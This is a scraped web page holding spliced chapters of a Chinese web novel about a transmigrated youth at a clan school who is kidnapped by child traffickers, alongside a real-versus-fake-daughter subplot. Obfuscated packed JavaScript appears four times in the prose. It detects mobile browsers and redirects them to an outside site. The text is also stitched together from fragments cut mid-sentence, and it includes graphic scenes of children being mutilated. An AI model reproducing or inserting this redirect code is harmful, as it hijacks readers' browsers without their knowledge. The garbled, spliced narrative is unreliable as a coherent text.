看向裴永昭的眼神中也多是嘲弄之色。 许先生自是听说过裴永昭早先的“光辉事迹”,本来他跟学官提过,拒绝让裴永昭入他们讲堂,怕他一粒老鼠屎,坏了他的一锅好粥。 但是学官没有同意。 “哦?你会解?”许先生捋着胡须,惊讶的望向站着的裴永昭。他在等着裴永昭说不会,他也好给他找个台阶下,却没想到裴永昭竟然脸部红心不跳的点了点头。 这道题目昨日他在大学讲堂授课时,能解出的人也寥寥无几。今日他本想将其作为范例,直接讲授解题方法,没想到竟然有学生自告奋勇。 “这道题目对于刚刚接触算筹的人来说还颇有难度,裴永昭今日刚入学,今日还是由我来为大家讲解一下这道题目的解法。” 见裴永昭桌上空空如也,连套算筹都没准备,许先生无奈的摇了摇头,只当他是在强撑面子。 课堂上时间宝贵,浪费的都是大家的时间,所以他也不欲再依着裴永昭胡闹。 裴永昭左右看了看,走到裴承霄桌旁,不待他作出反应,将他桌上的算筹拿过来,“借用一下”。 长筹当做大船,短筹则是小船,筹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没有再说什么,沈云漪与绛珠穿过月洞门,经过回廊往秦氏的正房走去。院子里圈出的一片天阴沉的更厉害了,像是要落雪。 “呸,一个冒牌货还这么嚣张”待沈云漪走远,孟婆子朝地上狠狠的啐了一口。 隔着很远,沈云漪便听见屋内传来秦氏与沈云芳的说笑声。 外面候着的丫鬟刚想开口,沈云漪已经自己掀开暖帘踏进了屋。 京城地处大齐北方,冬日长,春夏短。又因为秦氏与沈云漪素来怕冷,沈柏舟便命人在府内铺设了地龙。 是以现在虽然是寒冬腊月天,但屋内依旧温暖如春。 临窗大炕上,秦氏斜倚在迎枕上,正饶有兴趣地听沈云芳讲些小时候的乡下趣事。 许是说到兴头上了,沈云芳捏着帕子杏眼睁圆,双颊泛起绯色,“娘您不知道……”猛地抬头看到刚进屋的沈云漪,话音戛然而止。 “云漪,你也来了,快过来,你姐姐正在讲她在乡下时的趣儿事呢,你也来听听。”秦氏亲热的招呼沈云漪与她们一起坐到炕上,旁边候着的丫鬟已经开始忙着沏茶,端沈云漪平时爱吃的果子。 沈云芳虽然面上抿嘴笑着,但她攥紧的手帕和发白的指尖还是暴露出她此刻的复杂心情。虽然她是秦氏的亲生女儿,但秦氏明显更偏疼眼前这个娇养了十三年的冒牌货。 5. 打脸(下) “还……还以为妹妹今日不来了呢”沈云芳讪笑着与沈云漪眼神交汇,随即移开,语气吞吐,像是有话难言的样子。 没有立即接话,沈云漪先是接过丫鬟手里的茶水,揭开盖碗轻抿了一口,随后面带疑惑的抬起脸道:“噢?五姐何出此言?”,秦氏每日午睡醒后她都是要来请安的。 “你五姐这个傻孩子还以为你是被外面的流言蜚语所伤,恼了她,不愿意再理她了呢。”秦氏笑着拉过沈云漪与沈云芳的手,将她们俩的手交叠在一起,自己的手又覆上。“你们俩虽一个是我生的,一个是我养的,但芳儿回府那日我与你们父亲当着沈家祖宗牌位就已经说过。不论是不是我生的,你们俩往后都是我的孩子,不论外面说什么,我都是你们的母亲。你们也当如亲姐妹一般才好,莫要因为一些浑人的胡言乱语毁了你们姐妹情分。” 秦氏眼含期待地看看沈云芳,又看看沈云漪。 听着秦氏的话,沈云漪脸上的平淡转为惊讶,继而是满脸的惶恐。“母亲与姐姐多虑了,外面有什么流言蜚语我不清楚,我只知道父亲母亲慈爱,姐姐宽厚,云漪是修了天大的福分才与你们成为一家人。”顿了顿,沈云漪拿起帕子按了按发红的眼角,又道:“我自知对不住姐姐,占了姐姐十三年的福气,让姐姐在外受了十三年的苦。外人愿意说些什么,便说些什么吧,只要姐姐愿意相信妹妹。” 说着,沈云漪站起身,有些无措的垂手站在那里,眼角的泪珠也适时的落下。 “原是我多想了,妹妹莫怪。”见沈云漪落泪,沈云芳赶忙起身,主动上前拉住她的手,献宝似的端起一旁的果子“你快尝尝这个。” “泽州饧?”沈云漪看着那盘果子,微微有些惊讶。 “可不就是,你五姐听说你喜欢吃这个,一大早便命人去买了,连着逛了好几条街市才找到。就是为了给你赔不是”秦氏也拈起一块,这泽州饧酥脆香甜,她也喜欢的紧。 “该赔不是的是妹妹,姐姐何罪之有?你再这样便是折煞妹妹了。”沈云漪反握住沈云芳的手,两人亲亲热热的坐在炕上,像是普通姐妹一般话起家常。 “好了,那些莫须有的事情咱就不提了”秦氏见两人嫌隙尽除,又宛若亲姐妹的模样,满意的点了点头,复又想起什么,脸色有些复杂的开口道:“靖远国公府下帖子要请你与你五姐过几日去赴宴,你五姐姐初到京城,有些事情上还要你多帮衬她,此次宴会你们俩一起去,母亲也能放心。”沈云芳从小长在乡下,没有念过书,只是识得几个字,京城贵女们的规矩更是一窍不通。秦氏担心她会在宴会上出丑,京城闺秀们的规矩都是从小培养的,就算现在找礼仪嬷嬷,也来不及了。 听到秦氏嘱咐沈云漪让她多提点自己,沈云芳有些卑怯地垂下头,脸也覆上一层暗影“母亲,我会跟六妹妹好好学的。” 撷芳斋 沈云芳拿起做了一半的抹额,仔细对比之前用的绣线颜色。 旁边的素蝶帮忙分线,脸上还带着几分愤愤不平之色。 “你这是作甚,谁又惹你了?”瞥了眼,沈云芳淡淡的道。 素蝶是跟着沈云芳一同回府的,沈云芳于她有救命之恩。素蝶也是个知恩图报的,认沈云芳为主,不离不弃。 沈云芳回到沈府时身无长物,只有一身半旧不新的衣裳和不离不弃的素蝶。秦氏见这丫头忠心,人又机灵能干,便由着沈云芳留在了身边,赐名素蝶,与素萤同为撷芳斋的大丫鬟。除了大丫鬟两名,这院里还有小丫鬟四名,粗使婆子一名,跟沈云漪院里一样。 “姑娘,靖远国公夫人命人送来的帖子上明明没写同邀六姑娘,您又何苦求夫人让六姑娘一块跟着?”本来六姑娘无论是容貌还是学识上都要胜她们姑娘一筹,若是只沈云芳独自一人还好,若是两人同时出现,众人势必会拿两人作比较,她怕到时候她们姑娘吃亏。 靖远国公身份显贵,老国公爷军功赫赫,府上的宴会自是难得,此次邀请沈云芳应该也是想要见识一下这位身世离奇的沈家真嫡女的庐山真面目。谁料沈云芳竟然亲自求到秦氏跟前,想邀沈云漪一同前去。 在沈云芳回来之前,沈云漪因其容貌出众,文采斐然,在京城诸多贵女中颇有名气,是众多世家大族太太们满意的议亲对象。可自从出了真假嫡女一事,本来预备与其议亲的人家都默契的闭声不言。 如今沈云漪的身份颇为尴尬。 “我从小在乡野之地长大,虽然有幸识得几个大字,但是与那些京中的闺阁小姐们是比不上的。无论是规矩礼仪,还是学识谈吐,若是没有六妹妹在一旁帮衬提点,怕是明日的宴会过后,京中又会盛传沈家嫡女粗鄙不识规矩。”选好丝线,沈云芳低着头,认真的做着手中的抹额,不再言语。 “可是……” “行了,你有这功夫不如与素萤一起去帮我选选那日赴宴穿的衣裳。” 无奈的看了眼自家小姐,素蝶去门外叫着素萤,一块去挑选要穿戴的衣裳首饰。 静雅轩 沈云漪看着桌上那盘泽州饧,陷入了沉思。 “姑娘,您说五姑娘还记得那日之事吗?”青黛口中的事自然是那日乱葬岗灭口未遂之事。可是这几日观察下来,沈云芳表现的好像没有此事一般。 没有直接回答青黛的问题,沈云漪捏起一块饧放入口中。 “查清楚是谁送她入京了吗?” “姑娘别吃!”青黛着急想要阻止,却见沈云芳摆了摆手,“直接下毒,她还蠢不至此”。 “没有”青黛摇了摇头,自那日从乱葬岗回来,五日后,沈云芳便被人直接送到了沈府门前。 从她被救,到能够神不知鬼不觉的出现在沈府门前,若说这一切没有幕后之人在操控,沈云漪绝对不信。 可是记得上一世,沈云芳是在乱葬岗被人搭救,而后孤身来的京城。到沈府的那一日,沈云漪只记得她瘦的皮包骨,面色蜡黄。 虽然她的到来会终结掉沈云漪原本的锦绣前程,但是看到这个可怜女孩的一刻,她心底里的柔软还是被触动。 再者虽然沈云芳认祖归宗,沈柏舟与秦氏对待沈云漪与从前并没有半分不同,沈云芳也对她这个妹妹亲厚。 只是不知为何,最后会变了模样。 不过不知是否因为乱葬岗之事的缘故,她有种感觉,沈云芳已经想要提前解决掉她。 今日在秦氏跟前,那真真假假的谣言,若是她不加辩驳,或者说错一句话,必会让秦氏与她生出嫌隙。从小受尽苦难好不容易相认的亲女儿,与从小享尽疼爱蜜罐里长大的养女。 从一开始,她就是偷走她人人生,被人厌恶的窃贼,沈云芳是惹人怜爱的受害者。 如果沈云漪没有记错,前世她便是在靖远国公府上,被沈云芳算计,背负上了蛇蝎女的名声,以前与她交好的世家小姐也都从此与她疏远,她以前辛苦经营的好名声,也渐渐转移到了沈云芳身上。 好像沈云芳回来后,所有人都开始围着她转,所有事情,只要是发生在沈云芳身上的,最后的结果也往往都是对她有利。 命运的齿轮又转到了同一的地方,只是不知道这次,是走向什么样的结局。 “姑娘,五爷回来了。” 小丫鬟在门外通报的功夫,沈书珩已经进了屋。 “满头的大汗,苏叶,快拿汗巾来,青黛,你去旁边鹿顶房子把绛珠做好的梅花汤饼端一碗过来。” “五……六姐,不用忙活,我歇一会就去给母亲问安。”摆了摆手,沈书珩接过苏叶递过来的汗巾在脸上胡乱抹了一把,又看到青黛端上来的状如梅花的汤饼,新奇的凑上前去。 院子里的白梅开了,绛珠采了白梅花瓣和面,将面饼制成梅花花瓣的模样,煮熟后再放入熬煮好的鸡汤中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621372|172259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸡汤的醇香中暗含着梅花清冽的香气,沈书珩连着要了两碗才停。 “你倒是说说,这寒冬腊月的天,你怎么跑出的这满头汗”沈云漪无奈道。 沈书珩是苏姨娘所生,苏姨娘没有福气,生产时恰好碰上难产,用尽最后一口气生下沈书珩便走了。 沈书珩自小养在秦氏跟前,又因着沈府孩子少,他与沈云漪从小一起长大,感情也如同胞姐弟一般亲厚。 平日里下了学,也是先来静雅轩讨口吃的,将当日的新奇见闻与沈云漪说说。 “六姐,你知道舒郡王世子吗?”沈书珩一脸神秘的凑到沈云漪跟前。“就是前些日子被圣上下旨赦免的裴永昭。” 他这副表情,沈云漪再了解不过。 宠溺的将桌上的果子都推到他跟前“说吧,这些都是你爱吃的。” “话说回来,也不能再叫他舒郡王世子。”毕竟舒郡王府被抄,舒郡王也没了,他们家的爵位都没了。如今的裴永昭只是个普通宗室。 “这些你又是从哪里听说的?” 拿起一块桂花糕,放到沈书珩手上,沈云漪笑着问道。 “我自是知道的,只不是不知裴永昭竟然不是传说中的草包” “哦?”本来没有几分兴趣听的沈云漪坐正了身子,有些好奇的看向沈书珩。“你今日见到他了?” “嗯,他今日入的宗学,学官将他分到了我们学舍。” “你们不是小学学舍吗?他年纪比你大上不少,不应该去大学?”看沈书珩手上的桂花糕没了,她又递过去一块酥琼叶。 虽然规定女子不能入宗学,但秦氏也是帮她请了女先生,沈云漪自小也是学过四书五经的。学问造诣上不比那些上过学的学子们差。 所以沈书珩喜欢跟他六姐姐说话,说什么她都能听得懂。 “嗐,或许学官也听说过他草包的名头,怕直接让他去大学,会丢人吧”,吃完手中的酥琼叶,沈云珩不客气的又拿起一块,上面涂着蜜糖,又用芝麻油炸过,酥甜焦香,他就知道六姐的院子里好吃的多。 “晌午算筹课上,裴承霄本想害他出丑,却没想到他竟然真的解出了许先生出的难题。”许先生严苛,难得冲他们露出笑脸。 不仅是算筹课上让裴永昭露了脸,下午的骑射课上,裴永昭也展现出熟练的骑射功底,让想要看他笑话的人彻底闭上了嘴。 裴永昭前世曾经在外蒙执行过一年的任务,骑射也是在那时学的。 当时给他培训骑术的老师可是囊括过国内外各项大奖的专业选手。至于射箭,也是老师顺带手交了一下。 说来也是奇怪,若是让裴永昭背些文化常识,他就算念上十遍也记不住三句。但是在这各种冷热兵器的使用与搏斗技巧的学习上,他却表现出惊人的天赋。 “学官说了,今年与往年不同,开春之后还有一次考核,跟每年例行的秋考一样,考核合格者可以入大学学习,想必裴永昭过了年便可以入大学了。”说到这里,沈书珩明显有些失落。 他随了父亲沈柏舟,在文化礼仪学习上天赋极佳,但却不善武艺,至今还不敢上马。因着这事,没少被同窗笑话。 “考核又不单是只考骑射,你的算筹跟四书五经每次都是甲等,父亲不是说了吗,待天气暖和些,再单独给你请各骑射师傅。” 又与沈云漪聊了几句,沈云珩便去秦氏院子请安了,静雅轩又安静下来。 “姑娘,刚才夫人命制衣匠来府里,说是要给你和五姑娘再做几身出门的衣裳……”绛珠欲言又止。 “东府老太太刚才命人来接姑娘过去用晚饭,还让五姑娘一块过去”。 紧邻沈府旁边的府邸是沈柏舟伯父的。绛珠口中的东府老太太,便是沈柏舟的伯娘,也是沈云漪与沈云芳的伯祖母。 “伯祖母想必是想见见五姐姐,无妨,你去准备一下”。 6. 被绑 宗学也没有想象中枯燥无味,裴永昭回想起刚刚在马场上驰骋的感觉,仿佛又回到了从前。但是这具身子无论是体力还是反应能力,还是太弱了。 “哎!裴永昭……” 回头看了眼,是裴承霄跟了上来。 只见他脸色涨得通红,脸上带着些许的别扭,他就跟在裴永昭后面走着,也不直说想要干什么。 已经猜出了几分他的意图,裴永昭也不点明,也是不紧不慢的在前面走着。 宗学门口,裴承霄家的仆从已经驾车来接。 眼看跟不下去了,裴承霄索性直说,反正他脸皮从小就厚。“那个……那个你能教我一下骑射吗?”声如蚊蚋,若是不仔细听,都听不清他在说些什么。 “荣盛啊,奇了怪了,这大冬天的怎么还有蚊子?”裴永昭煞有其事地用手扇了扇空中并不存在的蚊子,果然看到一旁的裴承霄红着脸气急败坏的扭头上了马车。 噗嗤,一旁的荣盛笑出了声。 “你去跟宗学的门房说一声,就说咱们的马车来了让其直接回去就行。反正也没多远,咱们走回府吧。”回去之后他也得与伯父说一声,以后上下学,不用乘马车,走路也用不了多长时间,还能四处逛逛。 说锻炼就锻炼,先从最基本的身体素质开始。 正当年的小伙子,一步路也不走,出门就坐马车怎么能行? 正在马车里四仰八叉躺着的裴承霄感觉耳朵根儿一阵发热,奇怪,谁在念叨他呢? 回到前院,裴永昭先去换了身衣裳。裴禛寿还未回来,他先去内院拜见刘氏。 他是侄儿,伯娘也算是娘,就算刘氏不喜欢他。但他既然在人家住着,该有的礼道必须做足。 “夫人,三爷回来了,说是要来给您请安。”听到守门的婆子通传,正在院里的秋锦赶忙进屋向刘氏禀报。 “他来做什么?本来就碍眼,还来眼前晃” “夫人可千万慎言”一旁的岳妈妈赶忙递上茶水堵住刘氏的口,“老爷重情义,看重侄儿,若是让有心之人将这话传到老爷耳中,怕是会让他与您生了嫌隙。” “哼,我看谁敢多嘴!”刘氏眼神锐利的扫视了屋内伺候的几个丫鬟,几人俱都畏惧垂下了头。 “行了,让他进来吧。正好我还想问问他呢。”竟然将她安排的丫鬟赶了回来,刘氏想起这事就来气。 进了屋,裴永昭在丫鬟的带领下来到刘氏跟前,先是行礼问安,又接过丫鬟递过来的茶水用了。准备告退时却被刘氏叫住。 “你将小月赶回来,是因小月伺候的不周到?”刘氏脸上含笑的问道,只不过这笑意并未达眼底。 “侄儿房内不用丫鬟伺候。” “哦?你的起居饮食,单凭荣盛一个小子怎么能照顾周到,跟前还是得有个丫鬟的”刘氏苦口婆心的模样,倒是真像是为晚辈着想的样子。 “你大哥二哥像你这么大的时候,房内也是放了两个丫鬟的。” 眼看刘氏是铁了心不准备将小月收回去,裴永昭并未继续辩驳,只是躬身谢过。“既然伯娘好意,那侄儿便不好再推拒了。”顿了顿,看到刘氏脸上划过一丝得意,裴永昭继续道:“刚好伯父书房里也缺个添茶倒水的,就算侄儿用不到,平日里让她在伯父书房伺候也好,是侄儿思虑不周了。”裴禛寿嫌内院不如前院僻静,书房是设在前院的,与裴永昭的卧房离得也不远。 所以裴禛寿才让他不必拘束,随时可以去书房拿些书看。 “……”刘氏张了张嘴,满脸愕然,一时间竟不知该说些什么。待反应过来,她讪笑着道“若是实在嫌丫鬟聒噪,伯娘就再帮你寻摸个贴心的书童,还是先让小月回内院伺候吧。” 恰好此时裴禛寿也散值回府,用晚饭时,他发觉刘氏阴沉着脸不时剐他一眼,弄得他丈二和尚摸不着头脑。 大家一起在内院用了晚饭,又一起说了会子话。基本上都是裴禛寿在询问裴永昭课业是否跟的上,顺便嘱咐老二裴永常在宗学里多照看他一些。 裴永常对他一直淡淡的,除了必要的,绝对不会多说一个字。老大裴永诚则是用完晚饭早早就陪小刘氏回了房,这几日小刘氏胎相不稳,万事都小心。若不是大夫说还是要适当的活动一下,恐怕裴永诚已经让下人把饭端到卧房去了。 有父亲交代,他对裴永昭还算热络。 至于裴华姝,傍晚时果子花茶吃多了,已经吩咐人来传信,不用晚饭了。 上一世,裴永昭一直是独来独往,就算他面上性子洒脱,看起来温和好说话,但真实接触后才能体会,他其实对谁都淡淡的。 与其说拒人于千里之外,不如说他恐惧与人接触,他不知道该怎么与人接触。 现如今要让他每天跟一群不太熟悉的人在一桌上吃饭,还真是有些不太适应。 “宗学明日休沐,让你二哥领着你出去转转。”看出裴永昭的拘束,叹了口气,裴禛寿道。 没想到刚开学就赶上放假,这学上的,裴永昭嘴角微微上扬。 翌日清晨,裴永常之前预定的一套文房四宝到了,今日他要亲自去灯市街取。裴禛寿又让他带着裴永昭四处转转,便派人来叫上他一同前去。 京城虽然位于大齐的北方,但仍属于中原腹地。 宫城位于京城的中轴线上,也是京城的中心,是皇帝与后妃们居住的地方。 宫城的外围便是京城的内城,内城由六部衙门、宗室营、太庙、高官显贵的府邸组成。 再往外走,便到了外城,外城有一条南北走向的街市,被称为灯市街,是京城最为繁华的地界。 沿着灯市街往四周蔓延着各类商铺,以及平民百姓居住的街巷。 一路上裴永常的步子迈的极快,根本没有要与裴永昭搭话的意思。 “二哥,听伯娘说你文采极佳,你为何不参加科考呢?” 裴永昭问出这话,裴永常的步子确实停下了。他欲言又止地看了眼裴永昭,随即扭过脸去,一路上再也没有理睬他。 一旁的荣盛见两人之间气氛尴尬,悄悄扯了扯裴永昭的衣袖,将其拉到一旁。“三爷,咱们宗室子弟是不能参加科考的。” “怪不得”原来是哪壶不开提了哪壶,裴永昭略显尴尬的咧了咧嘴。在他浅薄的古代文学常识里,还以为古代只要是读过书的男子,都要参加科举考试呢。 不过也好,幸亏没有资格参加,不然以他这狗爬字与贫瘠的文化水平,恐怕要丢当代穿越者们的脸了。 灯市街贯穿外城南北,连接外城的正阳门与内城的宣武门。这里混杂着三教九流,是最能展现大齐风貌的地方。 街市上除了沿街叫卖的摊贩,还有布置精美的各类商铺,看得人眼花缭乱。 裴永常去文萃阁取了东西,便要回府。可裴永昭还想再逛一会,便让裴永常先乘着马车回去。 “莫要闯祸。” 冷冰冰地留下这四个字,裴永常头也不回的登上马车。 闯祸?笑话。 十七八岁的小男孩,整天装得老成。 裴永昭撇撇嘴,招呼荣盛继续往前走。 灯市街他们才逛到一半,越往前走,离着内城越远,越是热闹。 食好饭庄外,几人正在吵吵嚷嚷,周围全是看热闹的百姓。 老板娘是个泼辣的中年女人,与她对仗的是个十三四岁的少年。 只见她一手拽着少年的胳膊,另一只手的指尖几乎戳到那少年的鼻尖:“前几日我便瞧见你鬼鬼祟祟在周围转悠,今日让我抓到了,竟然敢偷到老娘头上!走,跟我去衙门”。说着,老板娘便要扭送那少年去衙门。 那少年一身补丁,脸上也青一块紫一块,听到要被扭送官府,并没有害怕求饶。只是将偷的东西往怀里仔细揣了揣,脸上依旧是一副无所谓的表情。 看来是惯犯了。 周围的百姓也都是指指点点,没有上前拉劝的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621373|172259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来也只是看热闹的裴永昭,见着稀奇,便多看了几眼那倔强的少年。 “他拿的东西值多少银子,我帮他付了。”裴永昭看了眼一旁还没反应过来的荣盛,荣盛赶忙掏出钱袋。 得了银子,那老板娘也不再纠缠。 少年摸着怀中还热乎的包子,抬头警惕的瞪了裴永昭一眼,“你不要以为帮了我,我便会感谢你。”说着便头也不回的往城外方向跑去。 “你这小子!”听见这话,裴永昭没有反应,一旁的荣盛反倒替自家主子不值。把那包子扔给狗,狗还摇摇尾巴呢。 看着那倔强的背影,裴永昭仿佛看到了前世小时候的自己。 在进入孤儿院之前,这种偷鸡摸狗的事他也干过,若不是真的饿极,他不会选择偷。刚刚从那少年倔强但坦荡的眼神中便看得出来,他应该也是如此。 天色不早,再加上碰到这档子事,裴永昭也没有心情继续逛下去。 “泽州饧——卖泽州饧咧!” 隔着条巷子,便听见了老叟的叫卖声。 “爷,我去买两包?”看见裴永昭驻足,荣盛试探着问道。老爷说过,三爷喜欢甜食,尤其是钟爱这泽州饧。 就算灵魂变了,但这具身体的某些喜好还是保留了下来,想到那酥脆香甜的味道,裴永昭下意识的点了点头。 看裴永昭点了头,荣盛进巷子去寻那老叟。 裴永昭站在巷子口等候。已经快到用午饭的时间,街市上弥漫着各种饭食的香气,还有嘈杂的人声。不过这次倒是没有听到那丫头的消息,不知道她怎么样了。还是希望她暂时不要出事,毕竟自己的小命暂时还拿捏在人家手里。 一想到那解药的事,裴永昭心中没来由的一阵烦躁。 抬头望了望已经好久没有声响的巷子,荣盛还没出来。 回头看了眼人头攒动的街市,裴永昭往巷子深处走去。 若是可以重新选择,裴永昭绝对不会选择贸然的踏进那条巷子。 此时的他被五花大绑,嘴里塞着一股霉味冲头的布团,身下的颠簸与周围的寂静时刻提醒他,现在已经离灯市街越来越远。 “这次的年纪有些太大了吧?” “年纪大些是大些,但是这小子长了张俊脸,到时候好好调教调教送到……嘿嘿,想必那些夫人们肯定喜欢。” 外面猥琐的谈话声传入马车内,传到裴永昭的耳朵里,引得他一阵反胃。 此时他受制于人,只能走一步看一步,看看这群人到底想要干什么。 马车走走停停出了城,外面只剩下虫鸣鸟叫声,和马匹偶尔发出的响鼻声。 终于停下,裴永昭眼前的马车车帘被撩开,映入视线的是一张满是疙瘩的胖脸。那肥腻的脸上钉了两粒绿豆大小的眼睛,肥厚的嘴唇弯起满意的弧度。“小雷子果然说得没错,这小子应该能卖上个好价钱。” 裴永昭个子虽然高,但是身材瘦削,那胖子自己一个人便轻松将他抬起。 这是座荒废已久的破庙,屋顶已经被积雪压塌。昔日香火旺盛的大殿上,此时杂草丛生。 随手将裴永昭扔在一根殿柱旁,那胖子便出了大殿。 就在裴永昭想办法挣脱手中的绳索时,那胖子又回到了大殿,手里还拿着件衣裳。 给裴永昭解了绑,将衣裳塞到裴永昭手里,推搡着他往内殿走去。 这破庙外面看上去像是待要坍塌一般,里面原来另有乾坤。 打开一间密室门,那胖子恶狠狠地将裴永昭一把推了进去。“自己把衣服换好,不要妄想耍什么花招,若是不想落得跟他们一样的下场,就给老子老老实实待着!” 随着他的话落,裴永昭才看清楚,昏暗的灯光下,这小小的密室里竟然有十几名身着同样衣服的少年,都一副失魂落魄的模样。 在密室最里面,还有一处水牢,几人半死不活的被吊绑在水里。水牢里散发的阵阵恶臭,弥漫在这狭小的密室中。 7. 重逢 密室的门被重重的关上,外面传来落锁声。 环视一圈,这被关的人里面并没有荣盛。裴永昭只寄希望于他是没有被绑来,亦或是在别处关着,只要性命无碍就好。 若是他们不回去,伯父应该会派人出来寻他。 裴禛寿对他,纵使是亲生父亲也不过如此了。可因为那股奇怪的香味,裴永昭心中的疑窦始终无法消除。 若是伯父与那黑衣人有牵扯,恐怕接下来的一切都会变的难测。 密室只有一扇门与外界相连,并没有其他透气的门窗。墙壁上的凹槽里放着一盏油灯,光线昏暗,裴永昭就近拍了拍一名少年的肩膀,“哎,这位兄弟,你也是被绑来的吗?” 少年闻声抬头看了他一眼,又垂下头,并没有要搭理他的意思。 裴永昭又换了个人询问,依旧是没有人接他的话。 裴永昭索性借着微弱的灯光走到里面的水牢旁。 水牢里的油灯放的足,足有三盏。这样做怕是有杀鸡儆猴的意思。 水里站着三人,那三人与其说站在水里,不如说是吊在水里。 双手俱都用绳索绑着,绳索的另一头固定在两边的墙上。 那水不知多久没有更换过,走近了,那水里的恶臭味道直冲眼睛。 是他…… 正是灯市街上那个偷包子的少年。 此时他正被吊在水中,那脏水没过他的胸口。他脑袋无力的垂在一旁的肩膀上,脸上又多了几处伤痕,应该是已经陷入昏迷。 “喂——” 裴永昭试图唤了几声,那人并没有反应。 还欲开口的裴永昭感觉自己衣袖被轻轻拽了下,扭头一看是刚刚没有搭理他的少年。 “你快小声些,是想把那些人都引来,害死大家吗?还有,你快听他们的把衣服换了吧,过会儿他们过来若是见你没有照办——呐……他们就是下场。”那少年哆哆嗦嗦地指着水牢里的几人,眼中的恐惧像是要溢出来。 “为什么要换衣服?”裴永昭拿起那身衣服,摸了摸,滑溜溜的,是好料子。 “哎,你别问了。”言尽于此,那少年见裴永昭不听劝,也不再多言,再次缩回墙角抱膝蹲着。 密室内再次安静下来,静的只能听见此起彼伏的呼吸声。 这密室里暗无天日,时间流逝也不知过了多久。 裴永昭只感觉肚里已经饿得叫了又叫,那极度饥饿,乃至肠胃抽筋的感觉,他再熟悉不过。 那扇门被重新打开,外面的天应该是已经完全黑透了,并没有刺目的光照进来。 进来的人里打头的还是先前的胖子,他手里提着灯笼,身后又跟进几名身形壮硕的汉子。 他提着灯笼凑到几名少年跟前,那胖子捏住其中一名少年的下巴,脸色不虞道:“这个脸上怎么回事?” 借着那灯笼昏黄的光,裴永昭看清了那名少年的脸,少年清秀,但右侧脸颊靠近耳朵的地方划了一道三寸左右的血痕。少年脸色白皙,血痕在脸上尤为显眼。 “这头废了,重新选一头。”胖子不悦的将那眼神呆滞的少年随手往前一推,人撞在墙上,直接昏了过去。 身后的人见胖子如此嚣张,也不敢多声言语,指着那昏迷的少年问道:“那这……” “年纪大,姿色一般。直接四肢敲断,割去舌头,弄瞎弄聋,跟之前的那几个一起送出京去,记地把容貌毁的彻底一点,身上的胎记也都清除了,别留下痕迹!” “是”都是做惯了这档子事的,其中一人直接上前提起那已经不省人事的少年,将其拖了出去。“呸,真是晦气,又失禁了……”随着那人拖着少年出去,密室内弥漫起一股难闻的腥臊味。 “求求你放过我!” 又一名少年被选中,他直接跪在胖子跟前,嘴里求饶的话一刻也不敢停。 “放过你?你也想跟他一样?”虽然没有指明,但是在场的人都知道胖子说的那个他,就是刚刚被拖出去的少年。 “我……我爹有很多钱,你只要放了我,我爹会给你许多银子……不……很多金子,求求你放了我!”那少年不停地叩拜,额头上磕出了血痕。一旁的壮汉看到赶忙将他拉住,刚刚拖出去的那小子就是因为脸毁了,这个可不能再毁了,不然到时候交货的时候不够数,又要受惩罚。 倚靠在墙角的裴永昭,静静地看着这一切,眼中闪过愤怒的火苗。 双手缓缓攥成拳头,他手指关节因为用力而泛白。 人贩子,他上辈子、这辈子,最为痛恨的就是人贩子。 他当初选择学习散打,也是为着有朝一日能找到当年拐卖自己的人贩子,让他血债血偿,但是上辈子活了那么多年,他人贩子没找到,父母也没寻到。 前世,直到咽下最后一口气,他都是没人要的孤儿,都是拜这该死的人贩子所赐! “那……那个胖大哥” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621374|172259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“该死的小子,你说谁胖?!”或许是“胖”字触动了胖子的敏感神经,他循声朝着角落里的裴永昭怒喝道。 “大哥,既然这位兄弟不愿意去,不如我替他?”扯出笑,裴永昭站起身试探着问道。 “你愿意去?”仿佛听到了什么笑话,那胖子肥硕的双颊笑得一颤一颤的。 “你怕不是想借着这个机会逃出去吧?”胖子摸了把脸上的胡子,“劝你还是不要动什么心思,喏,那小子,你今日在灯市街时也看到了,逃出去了又怎样,早晚不还是会被抓回来。” 果然不出裴永昭所料,他们在灯市街时便盯上了他。 “要不是你多管闲事出头,也引不起我们注意。都是你自找的!”说完,胖子扭过头,指了指刚才的少年“就那个了,把他带出去。” 临出去前,胖子似是想起什么,回过头一脸奸笑的冲着裴永昭的方向道:“那小子,你也不用着急,待你磨磨性子,挫挫锐气,很快便轮到你了。” 